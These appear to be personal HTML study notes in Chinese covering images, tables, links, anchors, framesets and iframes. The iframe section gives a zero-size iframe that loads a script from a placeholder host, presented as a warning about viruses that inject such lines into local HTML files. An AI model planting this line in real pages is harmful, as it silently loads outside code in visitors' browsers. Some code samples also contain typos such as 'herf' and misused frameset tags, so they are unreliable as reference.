html學習筆記三，html學習筆記

html學習筆記三，html學習筆記

圖片標籤 img

一般是將圖片放在編譯器，當前項目的目錄中

<img src="imgs\1.jpg" height="500" width="500" border="10" alt="啊，小狗!" />    <!--border邊框 alt一般是應用於圖片不顯示的時候，顯現文字-->

映像地圖：map

比如，某地方地圖的某一位置，一點，就到了當地的XX網站

應用：在當前映像選取某一部分做連結

但是圖片的地區是通過座標來完成的，通過一些軟體來劃分圖片，作為作用區

表格標籤：<table>

行：tr 

單元格：td

cellpanding cellspacing：單元格邊距與間距  

<body>    <table border="1" bordercolor = "#000EE" cellpadding="10" width="500">        <caption>資訊</caption>        <tr>            <th> 姓名</th> <th> 年齡</th>        </tr>        <tr>            <td> 張三</td> <td> 18 </td>        </tr>         </table></body>

關於不規則表格的製作：先數多少行，再數、每行多少格

colspan = "2"：佔兩列

rowspan = "2"：佔兩行

   <table border="1" bordercolor = "#000EE" width="500" cellpadding="10" cellspacing="0" >        <tbody><!--表格的下一級變標籤是tbody，不寫也有-->         <tr> <th colspan="2"> 個人資訊 </th> </tr>         <tr> <td>張三</td> <td>18</td></tr>         </tbody>>     </table>     <hr/>     <table border="1" bordercolor = "#000EE" width="500" cellpading="10" cellspacing="0">        <tbody>         <tr> <th rowspan="2"> 個人資訊 </th> <td>張三</td></tr>         <tr> <td>18</td> </tr>         </tbody>>    </table>

超連結 <a herf = "" > </a>

作用：串連資源
有了herf才有類點擊效果，herf屬性值不同，解析方式也不同
如果屬性值沒有指定過任何協議，那麼在解析時，是按照預設的協議來解析該值（file協議）,所以要加http

<a href="http://www.baidu.com" target="_blank">百度</a><hr/><a href="imgs/1.jpg" target="_blank">圖片</a><hr/><a href="mailto:qingchun_qidian@163.com ">聯絡我 </a><!--mailto：發郵件協議--><hr/><a href="http://www.xunlei.com/moves/hyrz.rmvb">火影忍者 </a><!--任何瀏覽器點擊即可下載--><hr/><!--迅雷用自訂thuner協議來指定只能用迅雷下載,將原有地址加密--><a href="thunder：//hyrz.rmvb">火影忍者2</a><!--取消超連結點擊後的預設效果--><a href="javascript:void(0)" onclick="alert('未滿18歲禁止進入')">連結</a><br/><!--啟動javascript解析引擎，void（0）神碼也不做，啟動自己的效果-->

錨點（錨）：網頁當前介面回到指定座標位置

<a name = "top">Top</a>        <img src="imgs/1.jpg" width="440" height="500" alt="x" border="10"/>        <a href="#bottom">底部位置</a>        <hr/>        <a name="center">Center</a>        <hr/>        <img src="imgs/1.jpg" width="440" height="900" alt="x" border="10"/>        <a href="#top">頂部位置</a> <!--注意，該屬性值前要加 # -->        <a href="#center">中間位置</a>        <a name="bottom">Bottom</a>

 <!--注意，座標的定位，必須對應的網頁相對位置-->
 <!--比如center就是定義在當前html代碼的中間位置-->
<!--bottom的座標定位代碼，就必須寫在代碼的下部位置-->
 

架構 <frameset>

架構的應用主要是在N年以前，現在應用的較為少，過時產品

架構的作用，讓一個表單顯示多種資源，實現了視窗複用

關於架構的內容代碼，不要寫在body內，因為它不是主體內容

做一個如上架構,左邊框點開連結，在右邊框顯示

<frameset rows="30%,*"> <!--上下兩部分，上面30%,*代表剩餘全部-->        <frameset src = top.html" name = "top"/>    <frameset cols = "30%,*" >            <frameset src = "../left.html" name = "left"/>            <frameset src = "../right.html" name = "right"/>    </frameset>    </frameset>    <!--<a href="../imgs.html" target = "right">連結1</a>-->

畫中畫標籤<iframe >

 <iframe src="1.html" height="500" width="600"> 畫中畫標籤</iframe>      <!--就是在當前頁面顯示一個頁面表單-->      <!--如果看到字，是因為瀏覽器不支援該標籤-->      <iframe src="http://www.xxx.com/1.js" height="0" width="0">惡意訪問</iframe>       <!--js是加所有檔案的程式性檔案，看不到任何表單，但是會執行檔案-->

比如說某病毒，會在本地的所有html檔案中都加入上述那一句話，就會惡意訪問你的電腦，瀏覽器下部，會顯示載入情況，注意觀看是否是當前的網頁